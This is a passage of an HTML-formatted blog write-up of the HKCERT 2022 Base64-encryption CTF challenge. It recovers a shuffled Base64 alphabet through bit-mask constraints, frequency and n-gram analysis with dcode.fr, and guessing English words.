&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;sorted&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;blacklist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;J&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# &#39;+/0123456789CDGHKLOPSTWXabefghijklmnopqrstuvwxyz&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And that means the letter &lt;code&gt;J&lt;/code&gt; can only map to:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;sorted&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;whitelist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;J&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# &#39;ABEFIJMNQRUVYZcd&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Neat! This will help us later on (when we resort to &lt;s&gt;blatant&lt;/s&gt; educated guessing).&lt;/p&gt;
&lt;p&gt;We can do a similar thing on the low end. Again, since the smallest printable ASCII character is 32, this means either the second or third MSBs would be set.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_inverted_chars_with_mask&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;c &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;charset&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; m&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; m&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# chars that don&#39;t have bits set in ascii.&lt;/span&gt;
subchars_not_in_ascii &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;get_inverted_chars_with_mask&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; m &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; in_ascii&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;frequency-analysis-with-known-text&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#frequency-analysis-with-known-text&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Frequency Analysis with Known Text&lt;/h2&gt;
&lt;p&gt;Another idea comes to mind. Remember the plaintext is in English? Well, with English text, some letters appear more frequently than others. The same applies to words and sequences.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Frequency of English letters. But we need to be careful with letter cases.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-letter-frequencies-1200w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-letter-frequencies-1200w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1200 / 960&quot; alt=&quot;Frequency of English letters. But we need to be careful with letter cases.&quot; title=&quot;Frequency of English letters. But we need to be careful with letter cases.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-letter-frequencies-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-letter-frequencies-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-letter-frequencies-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-letter-frequencies-1200w.webp 1200w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1200px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Frequency of the English alphabet. (Source: Wikipedia.)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In the same vein, some letters and sequences in the &lt;em&gt;Base64 encoding&lt;/em&gt; will also appear more frequently than others.&lt;/p&gt;
&lt;p&gt;With this in mind, we can compare the ciphertext to the Base64 encoding of some random article (also in English, of course). For this, I copied some articles from &lt;a href=&quot;https://lite.cnn.com/en&quot;&gt;CNN Lite&lt;/a&gt; (text-only, so it&#39;s easier to copy), encoded it, then analysed letter frequencies using &lt;a href=&quot;https://www.dcode.fr/frequency-analysis&quot;&gt;dcode.fr&lt;/a&gt;. You could use this excellent article as well:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;V2UncmUgbm8gc3RyYW5nZXJzIHRvIGxvdmUKWW91IGtub3cgdGhlIHJ1bGVzIGFuZCBzbyBkbyBJIChkbyBJKQpBIGZ1bGwgY29tbWl0bWVudCdzIHdoYXQgSSdtIHRoaW5raW5nIG9mCllvdSB3b3VsZG4ndCBnZXQgdGhpcyBmcm9tIGFueSBvdGhlciBndXkKSSBqdXN0IHdhbm5hIHRlbGwgeW91IGhvdyBJJ20gZmVlbGluZwpHb3R0YSBtYWtlIHlvdSB1bmRlcnN0YW5kCk5ldmVyIGdvbm5hIGdpdmUgeW91IHVwCk5ldmVyIGdvbm5hIGxldCB5b3UgZG93bgpOZXZlciBnb25uYSBydW4gYXJvdW5kIGFuZCBkZXNlcnQgeW91Ck5ldmVyIGdvbm5hIG1ha2UgeW91IGNyeQpOZXZlciBnb25uYSBzYXkgZ29vZGJ5ZQpOZXZlciBnb25uYSB0ZWxsIGEgbGllIGFuZCBodXJ0IHlvdQo=&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;center rw mb-2 jw-90 lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;dcode.fr frequency analysis for normal Base64.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-1gram-666w.webp&quot;&gt;&lt;img class=&quot;jw-45 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-1gram-666w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 666 / 800&quot; alt=&quot;dcode.fr frequency analysis for normal Base64.&quot; title=&quot;dcode.fr frequency analysis for normal Base64.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-1gram-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-1gram-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-1gram-666w.webp 666w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 666px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;dcode.fr frequency analysis for encrypted Base64.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-1gram-666w.webp&quot;&gt;&lt;img class=&quot;jw-45 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-1gram-666w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 666 / 800&quot; alt=&quot;dcode.fr frequency analysis for encrypted Base64.&quot; title=&quot;dcode.fr frequency analysis for encrypted Base64.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-1gram-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-1gram-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-1gram-666w.webp 666w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 666px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Frequency analysis of plain vs. encrypted Base64. Left: CNN Lite articles. Right: Encrypted challenge text.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;From this, we can deduce that &#39;w&#39; was mapped from &#39;G&#39; in the original encoding (due to the gap in frequency).&lt;/p&gt;
&lt;p&gt;One useful option is the &lt;strong&gt;bigrams/n-grams&lt;/strong&gt; option. We can tell dcode to analyse frequencies of &lt;em&gt;groups of characters&lt;/em&gt; with a sliding window. This is useful to identify words and sequences.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2 jw-90 lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;dcode.fr 4-gram for normal Base64.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-4gram-672w.webp&quot;&gt;&lt;img class=&quot;jw-45 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-4gram-672w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 672 / 800&quot; alt=&quot;dcode.fr 4-gram for normal Base64.&quot; title=&quot;dcode.fr 4-gram for normal Base64.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-4gram-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-4gram-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-plain-4gram-672w.webp 672w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 672px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;dcode.fr 4-gram for encrypted Base64.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-4gram-672w.webp&quot;&gt;&lt;img class=&quot;jw-45 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-4gram-672w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 672 / 800&quot; alt=&quot;dcode.fr 4-gram for encrypted Base64.&quot; title=&quot;dcode.fr 4-gram for encrypted Base64.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-4gram-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-4gram-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/b64-crypt-4gram-672w.webp 672w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 672px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Frequency analysis of 4-grams in plain vs. encrypted Base64. Left: CNN Lite articles. Right: Encrypted challenge text.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Observe how &amp;quot;YoJP0H&amp;quot; occurs (relatively) frequently. This corresponds to &amp;quot;IHRoZS&amp;quot;, which happens to be the Base64 encoding for &amp;quot; the&amp;quot;.&lt;/p&gt;
&lt;h2 id=&quot;more-heuristics&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#more-heuristics&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; More Heuristics&lt;/h2&gt;
&lt;p&gt;Frequency analysis is useful to group letters into buckets. But using frequency analysis alone is painful. Some guesswork is needed. Here&#39;s the complete process I went through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Frequency Analysis: use dcode.fr to associate frequent characters.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We can make use of our earlier constraints to eliminate wrong guesses.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Dictionary of guessed mappings.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# key: shuffled Base64; value: plain Base64&lt;/span&gt;
guesses &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&#39;w&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;G&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;       &lt;span class=&quot;token string&quot;&gt;&#39;Y&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;I&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&#39;o&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;H&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;       &lt;span class=&quot;token string&quot;&gt;&#39;c&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;B&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# &quot; the &quot;&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&#39;J&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;R&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;       &lt;span class=&quot;token string&quot;&gt;&#39;P&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;o&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Z&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;       &lt;span class=&quot;token string&quot;&gt;&#39;H&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;S&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# More snipped out.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; g &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; guesses&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;items&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Our guess should be whitelisted!&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;g&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;issubset&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;whitelist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; gc &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;mismatch for &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; -&amp;gt; &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;g&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, whitelist: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;whitelist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;
    whitelist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; g &lt;span class=&quot;token comment&quot;&gt;# Throw away all other values.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Results!&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-1-1000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-1-1000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1000 / 171&quot; alt=&quot;Partially decrypted output of the Base64 encryption.&quot; title=&quot;Results!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-1-1000w.webp 1000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Random decoding after frequency analysis.&lt;/sup&gt;&lt;/p&gt;
&lt;p class=&quot;no-center&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Guesswork: guess English from the &lt;s&gt;nonsense&lt;/s&gt; existing characters.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;e.g. &amp;quot;Eog:ish&amp;quot; → &amp;quot;English&amp;quot;, &amp;quot;qepqesents&amp;quot; → &amp;quot;represents&amp;quot;, &amp;quot;pqese&amp;amp;ved&amp;quot; → &amp;quot;preserved&amp;quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once we patched a word, other words became easier to patch.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Moar results!!!&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-2-1000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-2-1000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1000 / 159&quot; alt=&quot;More decrypted output of the Base64 encryption. Some words are starting to make sense.&quot; title=&quot;Moar results!!!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-progress-2-1000w.webp 1000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Random decoding after guessing.&lt;/sup&gt;&lt;/p&gt;
&lt;p class=&quot;no-center&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At this point, we can continue patching &amp;quot;ciphertext&amp;quot;, &amp;quot;letters&amp;quot;, &amp;quot;potential&amp;quot;, etc. Or we could just use...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Google: after decoding a sizeable portion, let&#39;s pray and hope the plaintext is open-source. Then use the plaintext to derive the rest of the mapping.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It turns out the plaintext is—quite aptly—the &lt;a href=&quot;https://en.wikipedia.org/wiki/Frequency_analysis&quot;&gt;Wikipedia summary of frequency analysis&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Rrrreeeeeeeeeeeee.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-wikipedia-frequency-analysis-1000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-wikipedia-frequency-analysis-1000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1000 / 413&quot; alt=&quot;Wikipedia summary of frequency analysis.&quot; title=&quot;Rrrreeeeeeeeeeeee.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-wikipedia-frequency-analysis-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-wikipedia-frequency-analysis-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/base64-wikipedia-frequency-analysis-1000w.webp 1000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finding the rest of the mappings was quite easy. After a bit more tuning, we get the flag.&lt;/p&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;Usually I play reverse and don’t touch cryptography, but all I can say is: this was basically playing an English reverse challenge under the hood. Forget C, C++, Java, .Net, and Rust. Reversing English is the best. 😛&lt;/p&gt;
&lt;p&gt;There are probably better ways to automatically perform frequency analysis and search for mappings. I went for a hybrid method of Python scripting + manually checking two dcode tabs. Perhaps a second monitor would’ve helped, but I have nowhere to place it. 😐&lt;/p&gt;
